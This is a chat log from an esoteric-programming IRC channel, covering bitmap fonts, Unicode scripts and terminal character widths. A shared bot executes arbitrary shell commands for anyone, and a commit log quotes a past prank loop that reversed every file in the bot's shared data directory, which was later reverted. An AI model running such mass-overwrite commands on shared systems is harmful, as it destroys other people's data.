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11:53:31 <adsd> fERz9RtEnkvf7JYmk
11:53:39 <adsd> What can it be?
11:53:51 <adsd> type of esolang? Thanks!
11:54:20 <int-e> a bit too short for a bitcoin address ;)
11:54:36 <adsd> what do you mean?
11:54:48 <adsd> 0Hdd6lTePiSGz2j4E1Px
11:54:55 <adsd> tyQq55KwpLnj8Ts5vJxzW0I
11:55:09 <adsd> Anybody can help
11:55:17 <int-e> not without context
11:55:59 <int-e> `` echo no | shachaf1sum
11:56:00 <HackEgo> 49qqqo3o048p671676o4519855q137r37ps71sqp -
11:56:05 <adsd> Name of the proble: Go fishing!
11:56:12 <adsd> Hint: 1. Esolang
11:59:04 <adsd> It's look like base64 but I cant decode
11:59:45 <HackEgo> [wiki] [[Language list]] http://esolangs.org/w/index.php?diff=45687&oldid=45568 * 213.162.68.131 * (+15) /* D */ add Deadfish
12:00:44 <adsd> I see this list but I cant find the type of esolang of this problem
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12:12:02 * int-e was looking for esolangs with "fish" in their name... but none of them look right. Malbolge would be another guess, but it tends to use non-alphanumeric characters. So I don't know what that is.
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12:49:01 <fungot> That Pong alone cannot stop!
12:49:44 <HackEgo> 🐐/🐐 <(Unicode goat laments your inability to render Unicode goat.)
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13:19:37 <fungot> int-e: there is no store. crappy does not fnord. he fnord the development just fnord.
13:19:51 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube
13:26:44 <HackEgo> Update notification for the webcomic Homestuck.
13:54:13 <int-e> the poor birds will starve
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14:24:17 <\oren\> what characters should I add today
14:25:12 <\oren\> I promised someone I'd add Thai, maybe i'll do that
14:32:01 <boily> he\\oren\. do you have 泰?
14:33:17 <HackEgo> [U+6CF0 CJK UNIFIED IDEOGRAPH-6CF0]
14:49:38 <\oren\> holy shit hahahahahaha https://www.youtube.com/watch?v=s0YZ1lceoxk
14:51:40 <\oren\> I love russian mad scientists
14:53:45 <int-e> typical, got stuck on the brand name...
14:56:04 <\oren\> yotube sucks tese days
14:57:13 <\oren\> I usually download the video and themn play it
14:58:30 <int-e> probably not youtube's fault
14:59:06 <int-e> (unless you think of not paying extortion money as a fault)
14:59:26 <\oren\> no, it is their fault. varius other streaming sites (nsfw ones) seems to stream a lot faster.
15:00:15 <\oren\> the problem is that youtube keeps switching its quality and re-downloading the same part over and over
15:01:28 <\oren\> I think the problem started happening when they stopped using flash
15:03:13 <\oren\> basically, it downloads 0:00-0:40 at 480p, then stops, downloads 0:30-0:60 at 360p, then stops, upgrades to 720 and redownloads
15:04:09 <\oren\> and sometimes it completely freezes until I refresh the page
15:04:57 <\oren\> so the only solution I've found is to use vlc or another program to download and play the whole thing at one quality
15:06:40 <\oren\> which chooses the highest quality, and streams fast ANYWAY, so it is obviously their clint software throttling it and fucking it up
15:08:10 <int-e> sorry, but nothing is ever obvious.
15:08:48 <\oren\> well tbf it could also be firefox's terrible JS interpreter
15:09:21 <\oren\> but regardless the prblem is happening at my end, not the server
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15:16:11 <boily> are there voodoo dolls for programs? can you tickle a fungot figurine?
15:16:11 <fungot> boily: i know of, but i heard a discussion on commenting source code.
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15:21:34 <lifthrasiir> 1222 characters so far, lots of currency characters.
15:22:01 <lifthrasiir> frankly speaking they are really hard to fit in 8x16 box
15:22:37 <\oren\> sometimes you have to wdge
15:22:59 <lifthrasiir> but I'm quite proud that I've managed to make U+20B7 good
15:23:44 <HackEgo> [U+0055 LATIN CAPITAL LETTER U] [U+002B PLUS SIGN] [U+0032 DIGIT TWO] [U+0030 DIGIT ZERO] [U+0042 LATIN CAPITAL LETTER B] [U+0037 DIGIT SEVEN]
15:24:06 <lifthrasiir> \oren\: I've finally implemented 2:1 and 1:2 slopes, they are so useful for complex characters
15:24:11 <FireFly> `` unidecode $(unicode U+20B7)
15:25:39 -!- doesthiswork has quit (Quit: Leaving.).
15:26:35 * gamemanj gets a pin and stabs a figurine marked "the magical force that allows LLVM to change their IR for seemingly random reasons, in particular adding redundant type annotations"
15:27:45 <gamemanj> (for example: getelementptr inbounds %struct.room, %struct.room* %this, i32 0, i32 0)
15:27:58 <gamemanj> (specifically the first %struct.room)
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15:31:18 <\oren\> `run wget 'http://www.orenwatson.be/u8tbl.c'
15:31:34 <HackEgo> --2015-11-28 15:30:45-- http://www.orenwatson.be/u8tbl.c \ Connecting to 127.0.0.1:3128... Failed to connect to socket 2. \ connected. \ Proxy request sent, awaiting response... No data received. \ Retrying. \ \ --2015-11-28 15:30:46-- (try: 2) http://www.orenwatson.be/u8tbl.c \ Connecting to 127.0.0.1:3128... Failed to connect to socket 2.
15:31:35 <boily> chirurgical voodoo dolling, with titanium plated precision tools.
15:32:05 <\oren\> `run wget 'http://www.orenwatson.be/u8tbl.c'
15:32:21 <HackEgo> --2015-11-28 15:31:32-- http://www.orenwatson.be/u8tbl.c \ Connecting to 127.0.0.1:3128... Failed to connect to socket 2. \ connected. \ Proxy request sent, awaiting response... No data received. \ Retrying. \ \ --2015-11-28 15:31:34-- (try: 2) http://www.orenwatson.be/u8tbl.c \ Connecting to 127.0.0.1:3128... Failed to connect to socket 2.
15:32:24 <\oren\> http://www.orenwatson.be/u8tbl.htm
15:33:20 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
15:33:40 <\oren\> `fetch http://www.orenwatson.be/u8tbl.c
15:33:41 <HackEgo> 2015-11-28 15:33:07 URL:http://www.orenwatson.be/u8tbl.c [987/987] -> "u8tbl.c" [1]
15:33:49 <gamemanj> Uh, why on earth did HackEgo go through a proxy...
15:34:04 <HackEgo> <stdin>:1:6: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘.’ token \ compilation terminated due to -Wfatal-errors.
15:35:17 <\oren\> `run cc u8tbl.c -o u8tbl
15:35:18 <HackEgo> <stdin>:1:6: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘.’ token \ compilation terminated due to -Wfatal-errors.
15:35:56 <HackEgo> #include "stdio.h" \ #include "stdlib.h"
15:37:34 <\oren\> `` cc u8tbl.c -o u8tbl
15:37:35 <HackEgo> <stdin>:1:6: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘.’ token \ compilation terminated due to -Wfatal-errors.
15:38:15 <\oren\> `` cc -Wall u8tbl.c -o u8tbl
15:38:16 <HackEgo> <stdin>:1:1: error: expected identifier or ‘(’ before ‘-’ token \ compilation terminated due to -Wfatal-errors.
15:38:40 <\oren\> `` gcc u8tbl.c -o u8tbl
15:39:00 <gamemanj> why would gcc make any difference
15:39:02 <\oren\> oh, cc isn't a C compiler? WTFFFFFFF
15:39:15 <gamemanj> well, cc looks like a c compiler
15:39:16 <HackEgo> ls: cannot access cc: No such file or directory
15:39:19 <gamemanj> it's just not a sane c compiler
15:39:25 <HackEgo> <stdin>:1:1: error: expected identifier or ‘(’ before ‘--’ token \ compilation terminated due to -Wfatal-errors.
15:39:53 <\oren\> `` cc 'int main(){printf("hello world");}'
15:39:55 <gamemanj> `` cc void main() {puts("What the fuck");}
15:39:55 <HackEgo> bash: -c: line 0: syntax error near unexpected token `(' \ bash: -c: line 0: `cc void main() {puts("What the fuck");}'
15:40:10 <gamemanj> `` cc 'void main() {puts("What the fuck");}'
15:40:46 <\oren\> `` u8tbl 0x20b7 0x20b7
15:40:46 <HackEgo> bash: u8tbl: command not found
15:40:48 <gamemanj> `` cc 'void main() {puts("Hey, my name`s HackEgo, and you`re listening to `What the Fuck`.");usleep(100000);puts("Our contestants today...");}'
15:40:49 <HackEgo> Hey, my name`s HackEgo, and you`re listening to `What the Fuck`. \ Our contestants today...
15:40:57 <\oren\> `` ./u8tbl 0x20b7 0x20b7
15:41:04 <\oren\> `` ./u8tbl 0x2000 0x20b7
15:41:05 <HackEgo> \ ‐‑‒–—―‖‗‘’‚‛“”„‟ \ †‡•‣․‥…‧
\ ‰‱′″‴‵‶‷‸‹›※‼‽‾‿ \ ⁀⁁⁂⁃⁄⁅⁆⁇⁈⁉⁊⁋⁌⁍⁎⁏ \ ⁐⁑⁒⁓⁔⁕⁖⁗⁘⁙⁚⁛⁜⁝⁞ \
15:41:29 <HackEgo> !"#$%&'()*+,-./ \ 0123456789:;<=>? \ @ABCDEFGHIJKLMNO \ P
15:41:52 <\oren\> yah, it's part of my toolsuite for making my font
15:42:19 <gamemanj> `` ./u8tbl 0x34 0x34 0x32 0x32
15:42:55 <gamemanj> once upon a time there was a bot which might understand 42
15:43:49 <\oren\> strtol with 0,0 has useful beehiveior
15:44:29 <\oren\> it uses prefix 0x for hex and 0 for octal
15:45:19 <gamemanj> Sounds like strtol is great for converting strings to numbers and back.
15:45:52 <HackEgo> @ABCDEFGHIJKLMNO \ PQRSTUVW
15:46:04 <HackEgo>
\
15:46:53 <\oren\> `` ./u8tbl 0xFF00 0xFF37
15:46:54 <HackEgo> ！＂＃＄％＆＇（）＊＋，－．／ \ ０１２３４５６７８９：；＜＝＞？ \ ＠ＡＢＣＤＥＦＧＨＩＪＫＬＭＮＯ \ ＰＱＲＳＴＵＶＷ
15:47:36 <\oren\> I like how wide ascii is at ascii +_ 0xff00
15:49:44 <gamemanj> That's probably intentional...
15:49:57 <gamemanj> There's all sorts of "coincidences" like that in charsets
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15:51:16 <gamemanj> also: space is at 0x20, the capital letters start at 0x41 or something...
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15:56:25 <int-e> Hurray for technology? "Continuous and lengthy discussions, technical meetings and negotiations eventually led us to the point where we were allowed to run our own node.js-server on the inflight servers of the aircraft."
15:56:44 <\oren\> FUUUUUUUUCKCKCCKCKCKCKCKC
15:57:08 <gamemanj> And why the fuck did it require "Continuous and length discussions, technical meetings and negotiations"?
15:57:15 <\oren\> I'm gonna be in a fiery crash because some asshole wanted to write things in JS?!!?
15:57:18 <int-e> http://reaktor.com/blog/aircraft-customer-experience-on-a-new-level/
15:57:25 <gamemanj> It sounds as if an aircraft is a war zone or something
15:57:45 <int-e> They want us to think that it's just the entertainment system...
15:58:54 <gamemanj> Separation of concerns on something like this would dictate they would be separate systems.
16:00:03 <int-e> I'm not sure what to make of this story http://www.wired.com/2015/05/feds-say-banned-researcher-commandeered-plane/
16:00:15 <int-e> if they were really separate networks then that shouldn't be possible.
16:00:23 <\oren\> well remem ber that truck that got hacked thru the entertainment system?
16:02:41 <gamemanj> Well, even if they're on the same network, it doesn't matter as long as the actual flight control systems are still locked up normally.
16:03:06 <gamemanj> As long as flight control hasn't been taken over by Node.JS, everything's relatively fine.
16:03:19 <int-e> not true, once you can flood the network with meaningless packets
16:03:23 <gamemanj> They shouldn't be on the same network, but if they are, that's a separate (but still bad) issue
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16:03:58 <\oren\> besides last time I checked JS didn't have an error handling system capable of handling OOM gracefully
16:04:20 <gamemanj> I don't think that Node.JS would get put into the flight control systems.
16:05:49 <\oren\> even if it doesn't, it could bring the sytem to a crawl by taking up all memory
16:06:31 <gamemanj> If it's not on the same machine, that doesn't matter.
16:07:07 -!- mauris has quit (Ping timeout: 260 seconds).
16:09:30 <\oren\> then we'd better hope for sane engineers who don't let some JS jockeys onto the main flight computers
16:10:43 <lifthrasiir> \oren\: well, to be fair, many dynamic allocation schemes cannot easily deal with OOM.
16:12:24 <\oren\> but JS is particularly prone to filling all memory with "reachable" variables
16:12:44 <\oren\> at least in my experience
16:13:18 <lifthrasiir> probably every dynamic language has the same characteristic
16:15:49 <\oren\> hmm, maybe any dynamic language with global-by-default variables, lambdas that carry the context in which they were defined, and a library using large trees of objects as its main principle
16:18:16 <\oren\> it becomes very easy to silently leak megabytes
16:27:38 <gamemanj> Do the lambdas carry all the context in which they were defined, or just the variables they use?
16:28:15 <gamemanj> Because if they carry all the context in which they were defined, there is something seriously wrong with whoever had that idea.
16:29:26 <gamemanj> Though, technically without finalizers there's no way to verify if it carries it or not... so if it's supposed to keep all the context, you can ignore that and only keep the things with finalizers and what the lambda uses.
16:29:54 <gamemanj> Still sounds like a mess though.
16:34:52 <int-e> javascript has an eval function...
16:36:45 * gamemanj moves far enough away from the screen that they can't tell the difference between some letters
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16:47:19 <b_jonas> \oren\: in your font, the cyrillic capital letters "ЅІЈ" look too much like the latin letters. I think you should fix that.
16:47:46 <quintopia> gamemanj closures in javascript carry all their context
16:48:31 <b_jonas> \oren\: not all of them are exactly the same, but they're quite confusing
16:49:48 <b_jonas> \oren\: I see you're using tricky different letter forms to distinguish the cyrillic letters from the latin, and lower height to distinguish the greek capitals from the latin
16:50:13 <b_jonas> I've only implemented the basic greek letters without accents, but I use small dots in the confusable ones.
16:50:34 <b_jonas> Just like how I use dots in some accented letters that would otherwise be too similar to each other
16:51:39 <lifthrasiir> b_jonas: is there any general solution? for that matters, I have three copies of latin A -- greek Alpha -- cyrillic A which are identical right now.
16:51:40 <gamemanj> quintopia: All? Including what isn't used...? *notes down "Javascript is nuts"*
16:51:54 <lifthrasiir> it was very hard to make alternative glyphs for me
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16:53:56 <b_jonas> lifthrasiir: "A" isn't really the worst because it's easy to make very different versions of it: different shaped tops or different height for the bar
16:54:15 <b_jonas> lifthrasiir: but try to make lots of different "T" or "O" that look nice
16:54:52 <b_jonas> lifthrasiir: anyway, I think it's less of a problem if I confuse the greek with the cyrillic, because I rarely read text in those, the main point is to notice accidental non-latin characters among latin text
16:55:37 <b_jonas> lifthrasiir: but cyrillic is different because there are way more similar letters to latin in first place, even in lower case
16:55:43 <b_jonas> and it's hard to do anything with the lower case letters
16:55:55 <quintopia> gamemanj, sort of. rather, they are considered to maintain exactly what scope they are declared in. which means at least any reference uses must be maintained as reachable
16:56:21 <b_jonas> lifthrasiir: one thing you could try to do is to make the cyrillic have thin lines, but that could look ugly
16:56:32 <b_jonas> or maybe thick horizontal lines, I dunno
16:56:56 <b_jonas> I haven't really tried to implement them yet
16:57:21 <b_jonas> I have a very few latin and punctuation characters on my near term todo, but not cyrillic
16:58:14 <b_jonas> lifthrasiir: where's your font these days? I think you saw some page that didn't work for me
16:59:15 <lifthrasiir> b_jonas: http://cosmic.mearie.org/2015/11/font/sample should be stable for now.
17:00:02 <b_jonas> um, I don't see anything. is that trying to use some fancy modern javascript thingy?
17:00:16 <lifthrasiir> do you see "1237 characters, 578 intermediate glyphs so far"?
17:00:31 <b_jonas> and an input box for "sample text"
17:00:58 <b_jonas> let me see, is it a static SVG? if so, I could render that separately
17:00:59 <gamemanj> Describing what it is time!: "Techno-style looking glyphs, not out-of-place in a cyberpunk movie."
17:01:10 <b_jonas> or is there a PDF or postscript version of the page?
17:01:18 <lifthrasiir> b_jonas: it lacks xmlns but it is not hard to add them.
17:01:34 <gamemanj> "Including braille glyphs in case you want to add useless dot patterns."
17:01:37 <lifthrasiir> sadly, not yet. probably I need to make an image out of them later.
17:01:53 <lifthrasiir> gamemanj: good way to boost the number of supported glyphs
17:01:53 <b_jonas> lifthrasiir: pdf would be the most convenient I think
17:02:04 <b_jonas> but sure, static images can't hurt too as a quick preview
17:02:16 <b_jonas> but I can't complain, I still haven't made a good page demonstrating my font either
17:02:28 <lifthrasiir> I really need to make an OTF file out of that.
17:02:46 <gamemanj> lifthrasiir: I'm pretty sure the braille glyphs have a grand total of two uses, ever:
17:03:33 <gamemanj> hmm, a system to render bitmaps into UTF-8 text
17:03:57 <b_jonas> Have they gotten the reverse eight point braille (with two dots above the grid of six) into unicode yet?
17:16:49 <\oren\> b_jonas: I fixed ЅІЈ SIJ
17:20:44 <\oren\> right now I'm adding Thai
17:23:22 <b_jonas> \oren\: will you do APL symbols? I can get you a list if you need. there's a hundred or two (though you already have a few that aren't only APL symbols) and they're generally easy to draw.
17:23:46 <b_jonas> (few hundred total, not used all together in any one APL dialect)
17:24:18 <b_jonas> oh, although I see you already have some of them
17:25:17 <b_jonas> hmm, you seem to have a lot of them,
17:25:41 <b_jonas> but there's a few I can't find by eye. let me check how they're supposed to be encoded
17:26:24 <b_jonas> you might actually have all
17:27:04 <boily> \oren\: could you please add U+1F414?
17:27:31 <b_jonas> pine, upside down pine, tee with small circle, bottom with small circle were the ones I didn't see
17:27:45 <b_jonas> now where's the quad with prime
17:27:51 <b_jonas> oh there it is next to the lightbulb
17:28:12 <\oren\> `` ./u8tbl 0x1f414 0x1f414
17:28:29 <\oren\> `` ./u8tbl 0x1f414 0x1f420
17:32:29 <\oren\> I'll do the emoji eventually, but only as wide characters
17:34:17 <b_jonas> \oren\: meh, you already have the basic cp437 smiling face, you don't need more than that
17:37:37 <\oren\> I'm done Thai, is that enought for this batch or should I add more
17:38:16 <\oren\> maybe I'll add more kyoiku kanji
17:39:58 <gamemanj> Yay for UTF-8! Sadly, not in an esoteric language: http://pastebin.com/jjkR9ErN
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18:03:23 <boily> \oren\: to which extent do you plan supporting indic scripts?
18:04:39 -!- bb010g has joined.
18:05:44 <\oren\> boily: to whatever extent is possible in 9x16 pixels?
18:08:52 <\oren\> When I reach 6000 characters I'll update the version number
18:09:26 <\oren\> right now it's 8 as you can see in
18:09:28 <boily> I meant specifically consonant conjuncts. they are many and irregular.
18:10:13 <boily> of course there's the physical limit of 2 ** (9 * 16) pixel combinations.
18:10:27 <lambdabot> 22300745198530623141535718272648361505980416
18:12:13 <\oren\> meh, whatever, I draw each code point separately
18:13:03 <gamemanj> hmm, that's small enough that it might be feasible to send random combinations to people and ask them what letter it looks like or "indeterminate"
18:13:42 <gamemanj> the only trouble is that 4x4 is an awfully small font
18:13:52 <\oren\> you need one pixel more for space between letters
18:14:07 <\oren\> 4x4 is effectively 3x3
18:15:00 <lambdabot> 1329227995784915872903807060280344576
18:15:36 <b_jonas> \oren\: maybe instead of adding characters, you should try to make different fonts?
18:15:53 <gamemanj> 4x4 would be the size of the glyphs, 5x5 would be "including spacing"
18:16:03 <\oren\> b_jonas: one day, I'll add the math letters
18:17:45 <gamemanj> Generally the bitmap size is specified "without spacing"...
18:17:47 <b_jonas> And I should add the 8+12+1+4 characters I have in my short-term todo
18:18:13 <b_jonas> (8 line drawing or similar, 12 latin letters, 1 misc, 4 arrows with base)
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18:21:08 <b_jonas> And I should make a demonstration page where I show sample texts and also a table of all characters as bitmap images
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18:21:48 <b_jonas> How well supported are <object> elements in HTML these days? Are there still browsers that don't know them?
18:22:35 <b_jonas> I mean among browsers that can render images.
18:24:03 <b_jonas> \oren\: by the way, are you planning to add cirth?
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18:24:41 <b_jonas> I'm not sure how easy it is to fit them in this grid
18:25:03 <b_jonas> But probably not harder than what you've already managed with some scripts.
18:28:04 <b_jonas> \oren\: cirth is one of the two constructed scripts by Tolkien himself
18:28:44 <\oren\> Apparently it's considered to be merges with the Runic block.
18:28:50 <b_jonas> Cirth are runes, used for carving into stone, whereas the other script, tengwa, is for writing with a pen or similar.
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18:29:31 <\oren\> `` ./u8tbl 0x16f1 0x16f43
18:29:35 <izabera> i get these blocks with a dynamic ip http://i.imgur.com/7wDIbPo.png
18:29:47 <\oren\> `` ./u8tbl 0x16f1 0x163
18:29:51 <\oren\> `` ./u8tbl 0x16f1 0x16f3
18:30:07 <b_jonas> Why would it be merged? Futhark runes (which have tons of variants), cirth, and old Hungarian runes are three totally non-overlapping set of runes.
18:31:02 <b_jonas> Although cirth does look similar to futhark, in the way that Lat-Cyr-Greek looks similar to Georgian and Armenian scripts in its features and typography, but they are three non-overlapping sets.
18:31:38 <b_jonas> Lat-Cyr-Greek is at least three related scripts which have letters related in origin, even if they are distinct scripts now
18:31:57 <\oren\> those three runes I'm missign were added baecause they are in cirth but not futhark
18:33:03 <b_jonas> It consists of old Phoenician, Greek, Latin, the two Cyrillics, Coptic, and more, in a way that it's not entirely clear how to count the number of scripts, and the number changes by which decade you ask.
18:33:11 <b_jonas> But it's definitely at least three scripts.
18:34:21 <b_jonas> Mind you, they also share some of the origins with futhark, braille, hebrew, and arabic, because phoenician and greek and latin are so popular that it influenced everyone.
18:34:52 <\oren\> hebrew is a direct descendant of phonician
18:34:53 <b_jonas> But hebrew and arabic and braille have typography very different from them.
18:35:04 <b_jonas> \oren\: yes, that is very likelyi
18:35:22 <b_jonas> \oren\: the alphabetic order and the names of letters are certainly related, and probably the letter shapes too.
18:36:04 <\oren\> Well anyway they already rejected klingon so...
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18:36:38 <b_jonas> \oren\: they rejected tengwa once too. they did add it later
18:37:06 <nortti> b_jonas: they've added tengwar in unicode?
18:37:12 <b_jonas> \oren\: although I for one think that adding reverse eight point braille would be more useful, and it's EASY because there's a definite and closed list of characters, unlike in many scripts.
18:37:58 <b_jonas> but maybe I remember wrong
18:38:07 <nortti> I'm only aware of the PUA one
18:38:19 <b_jonas> I might have misremembered
18:38:35 <nortti> seems there is a range reserved for them in unicode, but no encoding yet: https://en.wikipedia.org/wiki/Tengwar#Unicode
18:38:50 <b_jonas> However, the Klingon script being rejected is I think a good decision.
18:39:16 <b_jonas> Very few people use the Klingon script, and most of the people who speak klingon use the latin script encoding instead, so it's basically reserved for ceremonial use.
18:39:39 <b_jonas> Hmm, you guys are right, it seems tengwa and cirth aren't in unicode yet.
18:40:49 <b_jonas> Mind you, for some strange reason they've added the Phaistos Disc symbols, which is totally idiotic, given that they're used on that one disk and nowhere else, and we don't even know which pairs are supposed to be the same symbol or different ones.
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18:41:18 <b_jonas> Those kinds of scripts (if it is even a script) like the Voynich manuscript script shouldn't be added until we find out more about how it's used.
18:41:59 <int-e> hmm, does unicode even have a circular text flow marker...
18:42:27 <b_jonas> int-e: does it even have a boustrophedon text flow marker?
18:43:19 <\oren\> I'm looking at the GNU unifont right now, and I see a problem with their crowd-sourced approach in that characters which are related are in inconsistent styles
18:44:35 <lifthrasiir> b_jonas: I've put an image render, http://cosmic.mearie.org/2015/11/font/sample.png
18:45:14 <\oren\> hmm you i and j have no tittles
18:46:47 <\oren\> also, why have you drawn ▂▃▄▅▆▇█▉▊▋▌▍▎▏▐░▒▓ as wide
18:47:39 <lifthrasiir> to be consistent with other block drawings
18:48:33 <zzo38> If you need to use those scripts in a text that is otherwise Unicode, you could use CSUR encoding
18:50:23 <zzo38> But I don't know of any extension to Unicode that has boustrophedon marker and so on
18:50:37 <zzo38> You may make up your own encoding if needed, whether or not it is an extension of Unicode
18:51:52 * int-e doesn't like that б.
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18:56:46 <HackEgo> [U+0431 CYRILLIC SMALL LETTER BE]
18:57:39 <lifthrasiir> I don't know enough Cyrillic to determine which glyph is better looking
18:57:39 <\oren\> hmm that one's tall, when it's not supposed to be. fixing
18:57:55 <\oren\> lifthrasiir: he meant in my font I think
18:58:06 <lifthrasiir> any suggestion would be appreciated (of course, not every suggestion is accepted)
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18:58:51 <\oren\> hmm wit, maybe it is supposed to be tall
18:59:58 <\oren\> int-e: what did you mean?
19:00:27 <zzo38> So, if you are trying to include Klingon and Tengwar and Cirth scripts in a otherwise Unicode font, you could use CSUR extensions to encode them
19:00:31 <\oren\> lifthrasiir: well your б isn't tall
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19:02:54 <\oren\> ok, I added thai and 必念急息悲想意愛感
19:03:35 <b_jonas> Scripts should be in unicode only if we know enough about it to write new texts with it.
19:03:49 <\oren\> you can now fall in 愛 with my font
19:04:25 <b_jonas> Or perhaps exceptions could be made if it's used enough in a well-studied corpus, like the Bible.
19:04:45 <HackEgo> int-e ais523 oerjan elliott Bike FreeFull Phantom_Hoover nortti Phantom_Hoover
19:05:11 <b_jonas> lifthrasiir: wait, that'sa bitmap font. why would you need SVG for it?
19:05:18 <oerjan> `` hg log wisdom/bird | grep ummary
19:05:19 <HackEgo> summary: <Bike> revert \ summary: <FreeFull> for x in wisdom/*; do rev "$x" > "$x"a; mv "$x"a "$x"; done \ summary: <Phantom_Hoover> learn bird bird bird bird \ summary: <nortti> learn bird is a dinosaur \ summary: <Phantom_Hoover> learn bird bird bird bird
19:05:40 <oerjan> `` hg log wisdom/bird | grep ummary | tac
19:05:41 <HackEgo> summary: <Phantom_Hoover> learn bird bird bird bird \ summary: <nortti> learn bird is a dinosaur \ summary: <Phantom_Hoover> learn bird bird bird bird \ summary: <FreeFull> for x in wisdom/*; do rev "$x" > "$x"a; mv "$x"a "$x"; done \ summary: <Bike> revert
19:05:43 <lifthrasiir> b_jonas: it's hybrid bitmap-vector font, the font consists of pixels that have vector counterparts
19:06:03 <oerjan> ok if Phantom_Hoover thinks so it must be correct.
19:06:14 <FreeFull> Maybe running that command back then was a mistake
19:07:01 <lifthrasiir> b_jonas: the sample.html looks like this: http://cosmic.mearie.org/img/20151129-unison-sample.png
19:07:49 <b_jonas> lifthrasiir: do you have a pcf version of this? or perhaps an opentype font version?
19:07:55 <FreeFull> Phantom_Hoover: I meant my command
19:08:13 <b_jonas> oh nice, so there's a big vector version
19:08:27 <b_jonas> lifthrasiir: pcf is easy to create. I can help in that. OTF is difficult.
19:08:57 <b_jonas> this seems to have a nice clean look, I like it
19:09:41 <b_jonas> lifthrasiir: in http://cosmic.mearie.org/2015/11/font/sample.png, what does it mean when a hex number heading on the left is gray?
19:09:58 <\oren\> this is certainly a better 8x16 font than GNU unifont
19:10:15 <lifthrasiir> since it's a dual-width font (or triple- or quadruple- for some glyphs, haven't seriously decided on that though)
19:10:24 <lifthrasiir> some rows have less than 32 characters there
19:10:44 <lifthrasiir> grayed U+xxxx are continuations for prior rows
19:11:12 <b_jonas> I see. So it's not strictly usable as a terminal font. This is an interesting concept.
19:12:12 <lifthrasiir> is the dual-width font problematic for terminals? I thought it is necessary for CJK fonts anyway.
19:12:50 <\oren\> terminals usually only allow CJK characters to be wide
19:12:51 <b_jonas> lifthrasiir: yes, but terminals assume that the character width are the usual, which is 1 cell for most of the latin letters and arrows
19:13:25 <b_jonas> lifthrasiir: there's a sort of informal "standard" width for each character, 0 or 1 or 2, which is not really regulated by unicode,
19:13:48 <b_jonas> lifthrasiir: and this is important because the programs that use the terminal have to know how many cells the text they print takes up
19:13:53 <lifthrasiir> hmm, they are technically Ambiguous in the East Asian Width standard (a part of Unicode)
19:14:18 <lifthrasiir> but if some terminal doesn't like them I may try to adjust that
19:14:19 <b_jonas> so there's a libc call to tell the width of a character, and some support in curses-like libraries for it.
19:14:48 <b_jonas> lifthrasiir: also, if your left arrow and right arrow characters are double width, then suddenly supposedly monospaced APL or smalltalk code will look very strange indeed
19:15:01 <lifthrasiir> wcwidth, right? probably I should look at that.
19:15:27 <b_jonas> (some variant of) smalltalk uses the left arrow as the assingment operator, this comes from back when ascii was more flexible and _ was a left arrow and ^ an up arrow
19:16:43 <\oren\> my terminal has a switch for ambiguous as wide vs narror
19:16:56 <lifthrasiir> my experience was that there are some applications expecting narrow arrows and some other applications expecting wide arrows
19:17:20 <b_jonas> lifthrasiir: yes, wcwidth. it gives -1 for some non-printable characters (control characters like line feed), 0 for combining accents and similar zero width stuff, 1 for western characters and lots of others, and 2 for kanji and stuff like that.
19:17:24 <\oren\> yeah. typically japanese made prgrams want wide
19:18:15 <b_jonas> and aren't there at least separate code points representing wide left arrow, up arrow, and right arrow?
19:18:29 <lifthrasiir> narrow arrows plus custom kerning with other wide characters may work...
19:18:59 <b_jonas> I don't use kanjis, and my font only has characters that are 1 cell wide
19:19:19 <b_jonas> technically it has glyphs for control characters, unused in terminals.
19:19:49 <lifthrasiir> http://wiki.dequis.org/notes/emoji/ heh, Linux's wcwidth is not up-to-date til very recent so you cannot use (wide) Emoji correctly
19:19:49 <b_jonas> um, unused in most terminals.
19:20:15 <b_jonas> lifthrasiir: well sure, that's because these days it's VERY difficult to upgrade libc, because it's hard to build.
19:21:13 <b_jonas> lifthrasiir: I don't think so. NOT having the widths specified by unicode is a mistake. If it was specified, then unicode support libraries like ICU would give the width, and there was a clear standard made up sanely.
19:21:16 <\oren\> When making a terminal program usually just check for specific ranges and everything else is narrow
19:21:25 <b_jonas> Well, you know, mostly sanely. Because unicode and committees and stuff.
19:21:42 <lifthrasiir> b_jonas: as I've said, there *is* a standard (UAX #11).
19:21:54 <b_jonas> lifthrasiir: is there? what's this UAX #11 ?
19:21:55 <zzo38> I think it would be better to make it the bit of the character code to specify the width for use with fixpitch display
19:22:12 <zzo38> Unicode doesn't do that, so you have to not use Unicode in the terminal.
19:22:27 <b_jonas> lifthrasiir: does that give a width of each unicode character?
19:22:36 <lifthrasiir> some specifications updates more quickly than the core Unicode standard (the Book, til it went digital only) so they are provided as a TR
19:22:41 <b_jonas> and is there an interface in ICU to access this?
19:23:29 <lifthrasiir> b_jonas: there are seven classes and I think there is.
19:24:19 <lifthrasiir> the most problematic class is A (Ambiguous) which is used in both EA context and non-EA context and its width may depend on the usage
19:24:29 <b_jonas> lifthrasiir: that sounds good.
19:25:44 <b_jonas> Well, that's one of several ambiguities that have to be resolved with font variants and formatting to access them, I presume. Like the two different cyrillic script styles (which IMO should have been two different non-overlapping scripts in first place, but got messed up for political reasons, and too late to change now), or the capital I stuff, or some ligatures in some scripts.
19:26:00 <b_jonas> \ and too late to change now), or the capital I stuff, or some ligatures in some scripts.
19:26:42 <\oren\> Ah: the ranges I used were 0x2e80,0xA63f, 0xac00,0xd7ff, 0xf900,0xfaff, 0xff00,0xff60, 0xffe0,0xffe7
19:26:56 <\oren\> everything else narrow
19:27:07 <b_jonas> \oren\: hehe, "0xA63f" with mixed case
19:27:24 <lifthrasiir> for ligatures my preference is to make it a concatenation of individual glyphs, but that was a bit ugly in Roman numerals
19:27:36 <lifthrasiir> also, wcwidth(0x2190) is (as I've expected) -1 (ambiguous) :)
19:27:48 <lifthrasiir> so that's really up to the terminal softwares
19:27:51 <b_jonas> lifthrasiir: the roman numerals are compatibility characters anyway, like the angstrom signs, and shouldn't be used in new texts.
19:27:57 <b_jonas> so I don't care about them.
